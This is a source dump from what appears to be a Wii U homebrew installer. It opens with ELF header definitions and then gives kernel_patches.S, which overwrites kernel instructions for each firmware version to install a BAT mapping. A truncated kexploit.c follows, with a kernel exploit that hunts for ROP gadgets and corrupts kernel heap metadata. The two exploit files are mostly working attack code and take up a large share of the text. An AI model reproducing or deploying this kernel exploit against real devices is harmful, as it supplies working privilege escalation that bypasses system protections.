EM_V850 87 /* NEC v850 */ #define EM_M32R 88 /* Mitsubishi M32R */ #define EM_MN10300 89 /* Matsushita MN10200 */ #define EM_MN10200 90 /* Matsushita MN10200 */ #define EM_PJ 91 /* picoJava */ #define EM_NUM 92 /* number of machine types */ /* Version */ #define EV_NONE 0 /* Invalid */ #define EV_CURRENT 1 /* Current */ #define EV_NUM 2 /* number of versions */ /* Section Header */ typedef struct { Elf32_Word sh_name; /* name - index into section header string table section */ Elf32_Word sh_type; /* type */ Elf32_Word sh_flags; /* flags */ Elf32_Addr sh_addr; /* address */ Elf32_Off sh_offset; /* file offset */ Elf32_Word sh_size; /* section size */ Elf32_Word sh_link; /* section header table index link */ Elf32_Word sh_info; /* extra information */ Elf32_Word sh_addralign; /* address alignment */ Elf32_Word sh_entsize; /* section entry size */ } Elf32_Shdr; /* Special Section Indexes */ #define SHN_UNDEF 0 /* undefined */ #define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ #define SHN_LOPROC 0xff00 /* reserved range for processor */ #define SHN_HIPROC 0xff1f /* specific section indexes */ #define SHN_LOOS 0xff20 /* reserved range for operating */ #define SHN_HIOS 0xff3f /* specific semantics */ #define SHN_ABS 0xfff1 /* absolute value */ #define SHN_COMMON 0xfff2 /* common symbol */ #define SHN_XINDEX 0xffff /* Index is an extra table */ #define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ /* sh_type */ #define SHT_NULL 0 /* inactive */ #define SHT_PROGBITS 1 /* program defined information */ #define SHT_SYMTAB 2 /* symbol table section */ #define SHT_STRTAB 3 /* string table section */ #define SHT_RELA 4 /* relocation section with addends*/ #define SHT_HASH 5 /* symbol hash table section */ #define SHT_DYNAMIC 6 /* dynamic section */ #define SHT_NOTE 7 /* note section */ #define SHT_NOBITS 8 /* no space section */ #define SHT_REL 9 /* relation section without addends */ #define SHT_SHLIB 10 /* reserved - purpose unknown */ #define SHT_DYNSYM 11 /* dynamic symbol table section */ #define SHT_INIT_ARRAY 14 /* Array of constructors */ #define SHT_FINI_ARRAY 15 /* Array of destructors */ #define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ #define SHT_GROUP 17 /* Section group */ #define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ #define SHT_NUM 19 /* number of section types */ #define SHT_LOOS 0x60000000 /* Start OS-specific */ #define SHT_HIOS 0x6fffffff /* End OS-specific */ #define SHT_LOPROC 0x70000000 /* reserved range for processor */ #define SHT_HIPROC 0x7fffffff /* specific section header types */ #define SHT_LOUSER 0x80000000 /* reserved range for application */ #define SHT_HIUSER 0xffffffff /* specific indexes */ /* Section names */ #define ELF_BSS ".bss" /* uninitialized data */ #define ELF_COMMENT ".comment" /* version control information */ #define ELF_DATA ".data" /* initialized data */ #define ELF_DATA1 ".data1" /* initialized data */ #define ELF_DEBUG ".debug" /* debug */ #define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ #define ELF_DYNSTR ".dynstr" /* dynamic string table */ #define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ #define ELF_FINI ".fini" /* termination code */ #define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ #define ELF_GOT ".got" /* global offset table */ #define ELF_HASH ".hash" /* symbol hash table */ #define ELF_INIT ".init" /* initialization code */ #define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ #define ELF_INTERP ".interp" /* Pathname of program interpreter */ #define ELF_LINE ".line" /* Symbolic line numnber information */ #define ELF_NOTE ".note" /* Contains note section */ #define ELF_PLT ".plt" /* Procedure linkage table */ #define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ #define ELF_REL_DATA ".rel.data" /* relocation data */ #define ELF_REL_FINI ".rel.fini" /* relocation termination code */ #define ELF_REL_INIT ".rel.init" /* relocation initialization code */ #define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ #define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ #define ELF_REL_TEXT ".rel.text" /* relocation code */ #define ELF_RODATA ".rodata" /* read-only data */ #define ELF_RODATA1 ".rodata1" /* read-only data */ #define ELF_SHSTRTAB ".shstrtab" /* section header string table */ #define ELF_STRTAB ".strtab" /* string table */ #define ELF_SYMTAB ".symtab" /* symbol table */ #define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ #define ELF_TBSS ".tbss" /* thread local uninit data */ #define ELF_TDATA ".tdata" /* thread local init data */ #define ELF_TDATA1 ".tdata1" /* thread local init data */ #define ELF_TEXT ".text" /* code */ /* Section Attribute Flags - sh_flags */ #define SHF_WRITE 0x1 /* Writable */ #define SHF_ALLOC 0x2 /* occupies memory */ #define SHF_EXECINSTR 0x4 /* executable */ #define SHF_MERGE 0x10 /* Might be merged */ #define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ #define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ #define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ #define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ #define SHF_GROUP 0x200 /* Member of section group */ #define SHF_TLS 0x400 /* Thread local storage */ #define SHF_MASKOS 0x0ff00000 /* OS specific */ #define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ /* specific section attributes */ /* Section Group Flags */ #define GRP_COMDAT 0x1 /* COMDAT group */ #define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ #define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ /* Symbol Table Entry */ typedef struct elf32_sym { Elf32_Word st_name; /* name - index into string table */ Elf32_Addr st_value; /* symbol value */ Elf32_Word st_size; /* symbol size */ unsigned char st_info; /* type and binding */ unsigned char st_other; /* 0 - no defined meaning */ Elf32_Half st_shndx; /* section header index */ } Elf32_Sym; /* Symbol table index */ #define STN_UNDEF 0 /* undefined */ /* Extract symbol info - st_info */ #define ELF32_ST_BIND(x) ((x) >> 4) #define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) #define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) #define ELF32_ST_VISIBILITY(x) ((x) & 0x3) /* Symbol Binding - ELF32_ST_BIND - st_info */ #define STB_LOCAL 0 /* Local symbol */ #define STB_GLOBAL 1 /* Global symbol */ #define STB_WEAK 2 /* like global - lower precedence */ #define STB_NUM 3 /* number of symbol bindings */ #define STB_LOOS 10 /* reserved range for operating */ #define STB_HIOS 12 /* system specific symbol bindings */ #define STB_LOPROC 13 /* reserved range for processor */ #define STB_HIPROC 15 /* specific symbol bindings */ /* Symbol type - ELF32_ST_TYPE - st_info */ #define STT_NOTYPE 0 /* not specified */ #define STT_OBJECT 1 /* data object */ #define STT_FUNC 2 /* function */ #define STT_SECTION 3 /* section */ #define STT_FILE 4 /* file */ #define STT_NUM 5 /* number of symbol types */ #define STT_TLS 6 /* Thread local storage symbol */ #define STT_LOOS 10 /* reserved range for operating */ #define STT_HIOS 12 /* system specific symbol types */ #define STT_LOPROC 13 /* reserved range for processor */ #define STT_HIPROC 15 /* specific symbol types */ /* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ #define STV_DEFAULT 0 /* Normal visibility rules */ #define STV_INTERNAL 1 /* Processor specific hidden class */ #define STV_HIDDEN 2 /* Symbol unavailable in other mods */ #define STV_PROTECTED 3 /* Not preemptible, not exported */ /* Relocation entry with implicit addend */ typedef struct { Elf32_Addr r_offset; /* offset of relocation */ Elf32_Word r_info; /* symbol table index and type */ } Elf32_Rel; /* Relocation entry with explicit addend */ typedef struct { Elf32_Addr r_offset; /* offset of relocation */ Elf32_Word r_info; /* symbol table index and type */ Elf32_Sword r_addend; } Elf32_Rela; /* Extract relocation info - r_info */ #define ELF32_R_SYM(i) ((i) >> 8) #define ELF32_R_TYPE(i) ((unsigned char) (i)) #define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) /* Program Header */ typedef struct { Elf32_Word p_type; /* segment type */ Elf32_Off p_offset; /* segment offset */ Elf32_Addr p_vaddr; /* virtual address of segment */ Elf32_Addr p_paddr; /* physical address - ignored? */ Elf32_Word p_filesz; /* number of bytes in file for seg. */ Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ Elf32_Word p_flags; /* flags */ Elf32_Word p_align; /* memory alignment */ } Elf32_Phdr; /* Segment types - p_type */ #define PT_NULL 0 /* unused */ #define PT_LOAD 1 /* loadable segment */ #define PT_DYNAMIC 2 /* dynamic linking section */ #define PT_INTERP 3 /* the RTLD */ #define PT_NOTE 4 /* auxiliary information */ #define PT_SHLIB 5 /* reserved - purpose undefined */ #define PT_PHDR 6 /* program header */ #define PT_TLS 7 /* Thread local storage template */ #define PT_NUM 8 /* Number of segment types */ #define PT_LOOS 0x60000000 /* reserved range for operating */ #define PT_HIOS 0x6fffffff /* system specific segment types */ #define PT_LOPROC 0x70000000 /* reserved range for processor */ #define PT_HIPROC 0x7fffffff /* specific segment types */ /* Segment flags - p_flags */ #define PF_X 0x1 /* Executable */ #define PF_W 0x2 /* Writable */ #define PF_R 0x4 /* Readable */ #define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ #define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ /* specific segment flags */ /* Dynamic structure */ typedef struct { Elf32_Sword d_tag; /* controls meaning of d_val */ union { Elf32_Word d_val; /* Multiple meanings - see d_tag */ Elf32_Addr d_ptr; /* program virtual address */ } d_un; } Elf32_Dyn; extern Elf32_Dyn _DYNAMIC[]; /* Dynamic Array Tags - d_tag */ #define DT_NULL 0 /* marks end of _DYNAMIC array */ #define DT_NEEDED 1 /* string table offset of needed lib */ #define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ #define DT_PLTGOT 3 /* address PLT/GOT */ #define DT_HASH 4 /* address of symbol hash table */ #define DT_STRTAB 5 /* address of string table */ #define DT_SYMTAB 6 /* address of symbol table */ #define DT_RELA 7 /* address of relocation table */ #define DT_RELASZ 8 /* size of relocation table */ #define DT_RELAENT 9 /* size of relocation entry */ #define DT_STRSZ 10 /* size of string table */ #define DT_SYMENT 11 /* size of symbol table entry */ #define DT_INIT 12 /* address of initialization func. */ #define DT_FINI 13 /* address of termination function */ #define DT_SONAME 14 /* string table offset of shared obj */ #define DT_RPATH 15 /* string table offset of library search path */ #define DT_SYMBOLIC 16 /* start sym search in shared obj. */ #define DT_REL 17 /* address of rel. tbl. w addends */ #define DT_RELSZ 18 /* size of DT_REL relocation table */ #define DT_RELENT 19 /* size of DT_REL relocation entry */ #define DT_PLTREL 20 /* PLT referenced relocation entry */ #define DT_DEBUG 21 /* bugger */ #define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ #define DT_JMPREL 23 /* add. of PLT's relocation entries */ #define DT_BIND_NOW 24 /* Process relocations of object */ #define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ #define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ #define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ #define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ #define DT_RUNPATH 29 /* Library search path */ #define DT_FLAGS 30 /* Flags for the object being loaded */ #define DT_ENCODING 32 /* Start of encoded range */ #define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ #define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ #define DT_NUM 34 /* Number used. */ #define DT_LOOS 0x60000000 /* reserved range for OS */ #define DT_HIOS 0x6fffffff /* specific dynamic array tags */ #define DT_LOPROC 0x70000000 /* reserved range for processor */ #define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ /* Dynamic Tag Flags - d_un.d_val */ #define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ #define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ #define DF_TEXTREL 0x04 /* Object contains text relocations */ #define DF_BIND_NOW 0x08 /* No lazy binding for this object */ #define DF_STATIC_TLS 0x10 /* Static thread local storage */ /* Standard ELF hashing function */ unsigned long elf_hash(const unsigned char *name); #define ELF_TARG_VER 1 /* The ver for which this code is intended */ /* * XXX - PowerPC defines really don't belong in here, * but we'll put them in for simplicity. */ /* Values for Elf32/64_Ehdr.e_flags. */ #define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ /* Cygnus local bits below */ #define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ #define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib flag */ /* PowerPC relocations defined by the ABIs */ #define R_PPC_NONE 0 #define R_PPC_ADDR32 1 /* 32bit absolute address */ #define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ #define R_PPC_ADDR16 3 /* 16bit absolute address */ #define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ #define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ #define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ #define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ #define R_PPC_ADDR14_BRTAKEN 8 #define R_PPC_ADDR14_BRNTAKEN 9 #define R_PPC_REL24 10 /* PC relative 26 bit */ #define R_PPC_REL14 11 /* PC relative 16 bit */ #define R_PPC_REL14_BRTAKEN 12 #define R_PPC_REL14_BRNTAKEN 13 #define R_PPC_GOT16 14 #define R_PPC_GOT16_LO 15 #define R_PPC_GOT16_HI 16 #define R_PPC_GOT16_HA 17 #define R_PPC_PLTREL24 18 #define R_PPC_COPY 19 #define R_PPC_GLOB_DAT 20 #define R_PPC_JMP_SLOT 21 #define R_PPC_RELATIVE 22 #define R_PPC_LOCAL24PC 23 #define R_PPC_UADDR32 24 #define R_PPC_UADDR16 25 #define R_PPC_REL32 26 #define R_PPC_PLT32 27 #define R_PPC_PLTREL32 28 #define R_PPC_PLT16_LO 29 #define R_PPC_PLT16_HI 30 #define R_PPC_PLT16_HA 31 #define R_PPC_SDAREL16 32 #define R_PPC_SECTOFF 33 #define R_PPC_SECTOFF_LO 34 #define R_PPC_SECTOFF_HI 35 #define R_PPC_SECTOFF_HA 36 /* Keep this the last entry. */ #define R_PPC_NUM 37 /* The remaining relocs are from the Embedded ELF ABI, and are not in the SVR4 ELF ABI. */ #define R_PPC_EMB_NADDR32 101 #define R_PPC_EMB_NADDR16 102 #define R_PPC_EMB_NADDR16_LO 103 #define R_PPC_EMB_NADDR16_HI 104 #define R_PPC_EMB_NADDR16_HA 105 #define R_PPC_EMB_SDAI16 106 #define R_PPC_EMB_SDA2I16 107 #define R_PPC_EMB_SDA2REL 108 #define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ #define R_PPC_EMB_MRKREF 110 #define R_PPC_EMB_RELSEC16 111 #define R_PPC_EMB_RELST_LO 112 #define R_PPC_EMB_RELST_HI 113 #define R_PPC_EMB_RELST_HA 114 #define R_PPC_EMB_BIT_FLD 115 #define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ /* Diab tool relocations. */ #define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ #define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ #define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ #define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ #define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ #define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ /* This is a phony reloc to handle any old fashioned TOC16 references that may still be in object files. */ #define R_PPC_TOC16 255 #endif /* _ELF_H */ ================================================ FILE: installer/kernel_patches.S ================================================ #if (VER == 550) #define BAT_SETUP_HOOK_ADDR 0xFFF1D624 # not all of those NOP address are required for every firmware # mainly these should stop the kernel from removing our IBAT4 and DBAT5 #define BAT_SET_NOP_ADDR_1 0xFFF06B6C #define BAT_SET_NOP_ADDR_2 0xFFF06BF8 #define BAT_SET_NOP_ADDR_3 0xFFF003C8 #define BAT_SET_NOP_ADDR_4 0xFFF003CC #define BAT_SET_NOP_ADDR_5 0xFFF1D70C #define BAT_SET_NOP_ADDR_6 0xFFF1D728 #define BAT_SET_NOP_ADDR_7 0xFFF1D82C #define BAT_SET_NOP_ADDR_8 0xFFEE11C4 #define BAT_SET_NOP_ADDR_9 0xFFEE11C8 #elif ((VER == 532) || (VER == 540)) #define BAT_SETUP_HOOK_ADDR 0xFFF1D638 # not all of those NOP address are required for every firmware # mainly these should stop the kernel from removing our IBAT4 and DBAT5 #define BAT_SET_NOP_ADDR_1 0xFFF06A14 #define BAT_SET_NOP_ADDR_2 0xFFF06AA0 #define BAT_SET_NOP_ADDR_3 0xFFF003C8 #define BAT_SET_NOP_ADDR_4 0xFFF003CC #define BAT_SET_NOP_ADDR_5 0xFFF1D720 #define BAT_SET_NOP_ADDR_6 0xFFF1D73C #define BAT_SET_NOP_ADDR_7 0xFFF1D840 #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 #define BAT_SET_NOP_ADDR_9 0xFFEE10BC #elif ((VER == 500) || (VER == 510)) #define BAT_SETUP_HOOK_ADDR 0xFFF1D518 #define BAT_SET_NOP_ADDR_1 0xFFF0697C #define BAT_SET_NOP_ADDR_2 0xFFF06A08 #define BAT_SET_NOP_ADDR_3 0xFFF003C8 #define BAT_SET_NOP_ADDR_4 0xFFF003CC #define BAT_SET_NOP_ADDR_5 0xFFF1D600 #define BAT_SET_NOP_ADDR_6 0xFFF1D61C #define BAT_SET_NOP_ADDR_7 0xFFF1D720 #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 #define BAT_SET_NOP_ADDR_9 0xFFEE10BC #elif VER == 410 #define BAT_SETUP_HOOK_ADDR 0xFFF1AD00 #define BAT_SET_NOP_ADDR_1 0xFFF06708 #define BAT_SET_NOP_ADDR_2 0xFFF06794 #define BAT_SET_NOP_ADDR_3 0xFFF003C8 #define BAT_SET_NOP_ADDR_4 0xFFF003CC #define BAT_SET_NOP_ADDR_5 0xFFF1ADE8 #define BAT_SET_NOP_ADDR_6 0xFFF1AE04 #define BAT_SET_NOP_ADDR_7 0xFFF1AF08 #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 #define BAT_SET_NOP_ADDR_9 0xFFEE10BC #elif VER == 400 #define BAT_SETUP_HOOK_ADDR 0xFFF1A440 #define BAT_SET_NOP_ADDR_1 0xFFF066FC #define BAT_SET_NOP_ADDR_2 0xFFF06788 #define BAT_SET_NOP_ADDR_3 0xFFF003C8 #define BAT_SET_NOP_ADDR_4 0xFFF003CC #define BAT_SET_NOP_ADDR_5 0xFFF1A528 #define BAT_SET_NOP_ADDR_6 0xFFF1A544 //define BAT_SET_NOP_ADDR_7 not present in 400 #define BAT_SET_NOP_ADDR_8 0xFFEE0F50 #define BAT_SET_NOP_ADDR_9 0xFFEE0F54 #elif (VER == 310) #define BAT_SETUP_HOOK_ADDR 0xFFF19EC4 #define BAT_SET_NOP_ADDR_1 0xFFF06590 #define BAT_SET_NOP_ADDR_2 0xFFF0661C #define BAT_SET_NOP_ADDR_3 0xFFF003C8 #define BAT_SET_NOP_ADDR_4 0xFFF003CC #define BAT_SET_NOP_ADDR_5 0xFFF19FAC #define BAT_SET_NOP_ADDR_6 0xFFF19FC8 // #define BAT_SET_NOP_ADDR_7 not present in 3.1.0 #define BAT_SET_NOP_ADDR_8 0xFFEE0FB0 #define BAT_SET_NOP_ADDR_9 0xFFEE0FB4 #elif (VER == 300) #define BAT_SETUP_HOOK_ADDR 0xFFF19E2C #define BAT_SET_NOP_ADDR_1 0xFFF06590 #define BAT_SET_NOP_ADDR_2 0xFFF0661C #define BAT_SET_NOP_ADDR_3 0xFFF003C8 #define BAT_SET_NOP_ADDR_4 0xFFF003CC #define BAT_SET_NOP_ADDR_5 0xFFF19F14 #define BAT_SET_NOP_ADDR_6 0xFFF19F30 // #define BAT_SET_NOP_ADDR_7 not present in 3.0.x #define BAT_SET_NOP_ADDR_8 0xFFEE0DB8 #define BAT_SET_NOP_ADDR_9 0xFFEE0DBC #else #error Please define valid values for kernel setup. #endif #ifdef USE_SD_LOADER #define BAT_SETUP_HOOK_ENTRY 0x00800000 #else #define BAT_SETUP_HOOK_ENTRY (0x00800000 + 0x2000) #endif #define BAT4U_VAL 0x008000FF #if VER >= 410 #define BAT4L_VAL 0x30800012 #elif VER <= 400 #define BAT4L_VAL 0x4E800012 #else #error Please define valid value for firmware setup. #endif #define SET_R4_TO_ADDR(addr) \ lis r3, addr@h ; \ ori r3, r3, addr@l ; \ stw r4, 0(r3) ; \ dcbf 0, r3 ; \ icbi 0, r3 ; .globl SC_0x25_KernelCopyData SC_0x25_KernelCopyData: li r0, 0x2500 sc blr .globl Syscall_0x36 Syscall_0x36: li r0, 0x3600 sc blr .globl KernelPatches KernelPatches: # store the old DBAT0 mfdbatu r5, 0 mfdbatl r6, 0 # memory barrier eieio isync # setup DBAT0 for access to kernel code memory lis r3, 0xFFF0 ori r3, r3, 0x0002 mtdbatu 0, r3 lis r3, 0xFFF0 ori r3, r3, 0x0032 mtdbatl 0, r3 # memory barrier eieio isync # SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though # just chosen because its simple lis r3, BAT_SETUP_HOOK_ADDR@h ori r3, r3, BAT_SETUP_HOOK_ADDR@l # make the kernel setup our section in IBAT4 and # jump to our function to restore the replaced instructions lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h ori r4, r4, BAT4L_VAL@h stw r4, 0x00(r3) lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l ori r4, r4, BAT4L_VAL@l stw r4, 0x04(r3) lis r4, 0x7cf1 # mtspr 561, r7 ori r4, r4, 0x8ba6 stw r4, 0x08(r3) lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h ori r4, r4, BAT4U_VAL@h stw r4, 0x0C(r3) lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l ori r4, r4, BAT4U_VAL@l stw r4, 0x10(r3) lis r4, 0x7cf0 # mtspr 560, r7 ori r4, r4, 0x8ba6 stw r4, 0x14(r3) lis r4, 0x7c00 # eieio ori r4, r4, 0x06ac stw r4, 0x18(r3) lis r4, 0x4c00 # isync ori r4, r4, 0x012c stw r4, 0x1C(r3) lis r4, 0x7ce8 # mflr r7 ori r4, r4, 0x02a6 stw r4, 0x20(r3) lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l stw r4, 0x24(r3) # flush and invalidate the replaced instructions lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l dcbf 0, r3 icbi 0, r3 lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l dcbf 0, r3 icbi 0, r3 sync # setup IBAT4 for core 1 at this position (not really required but wont hurt) # IBATL 4 lis r3, BAT4L_VAL@h ori r3, r3, BAT4L_VAL@l mtspr 561, r3 # IBATU 4 lis r3, BAT4U_VAL@h ori r3, r3, BAT4U_VAL@l mtspr 560, r3 # memory barrier eieio isync # write "nop" to some positions lis r4, 0x6000 # nop on IBATU 4 and DBAT 5 set/reset #ifdef BAT_SET_NOP_ADDR_1 SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1) #endif #ifdef BAT_SET_NOP_ADDR_2 SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2) #endif #ifdef BAT_SET_NOP_ADDR_3 SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3) #endif #ifdef BAT_SET_NOP_ADDR_4 SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4) #endif #ifdef BAT_SET_NOP_ADDR_5 SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5) #endif #ifdef BAT_SET_NOP_ADDR_6 SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6) #endif #ifdef BAT_SET_NOP_ADDR_7 SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7) #endif #if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9)) # memory barrier eieio isync # setup DBAT0 for access to kernel code memory lis r3, 0xFFEE ori r3, r3, 0x0002 mtdbatu 0, r3 lis r3, 0xFFEE ori r3, r3, 0x0032 mtdbatl 0, r3 # memory barrier eieio isync # write "nop" to some positions lis r4, 0x6000 SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8) SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9) #endif # memory barrier eieio isync # restore DBAT 0 and return from interrupt mtdbatu 0, r5 mtdbatl 0, r6 # memory barrier eieio isync blr ================================================ FILE: installer/kexploit.c ================================================ #include "kexploit.h" void wait(unsigned int coreinit_handle, unsigned int t); void doBrowserShutdown(unsigned int coreinit_handle); void setupOSScreen(unsigned int coreinit_handle); void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos); void exitOSScreen(unsigned int coreinit_handle); void callSysExit(unsigned int coreinit_handle, void *sysFunc); #if (VER >= 532) /* Initial setup code stolen from Pong, makes race much more reliable */ void run_kexploit(private_data_t *private_data) { /* Get a handle to coreinit.rpl and gx2.rpl */ unsigned int coreinit_handle = private_data->coreinit_handle; unsigned int gx2_handle = 0; OSDynLoad_Acquire("gx2.rpl", &gx2_handle); //needed to not destroy screen doBrowserShutdown(coreinit_handle); /* Exit functions */ void (*__PPCExit)(); void (*_Exit)(); OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); /* Memory functions */ void (*DCFlushRange)(void *buffer, uint32_t length); void (*DCInvalidateRange)(void *buffer, uint32_t length); void (*DCTouchRange)(void *buffer, uint32_t length); uint32_t (*OSEffectiveToPhysical)(void *vaddr); void* (*OSAllocFromSystem)(uint32_t size, int align); void (*OSFreeToSystem)(void *ptr); OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange); OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical); OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); /* OS thread functions */ bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr); int (*OSResumeThread)(void *thread); void (*OSExitThread)(); int (*OSIsThreadTerminated)(void *thread); OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); /* OSDriver functions */ uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); /* GX2 functions */ void (*GX2SetSemaphore)(uint64_t *sem, int action); void (*GX2Flush)(void); OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore); OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush); /* Allocate space for DRVHAX */ uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); /* Set the kernel heap metadata entry */ uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); metadata[0] = (uint32_t)drvhax; metadata[1] = (uint32_t)-0x4c; metadata[2] = (uint32_t)-1; metadata[3] = (uint32_t)-1; /* Find some gadgets */ uint32_t gx2data[] = {0xfc2a0000}; uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000); uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020}; uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000); uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18; /* Modify a next ptr on the heap */ uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; /* Make a thread to modify the semaphore */ OSContext *thread = 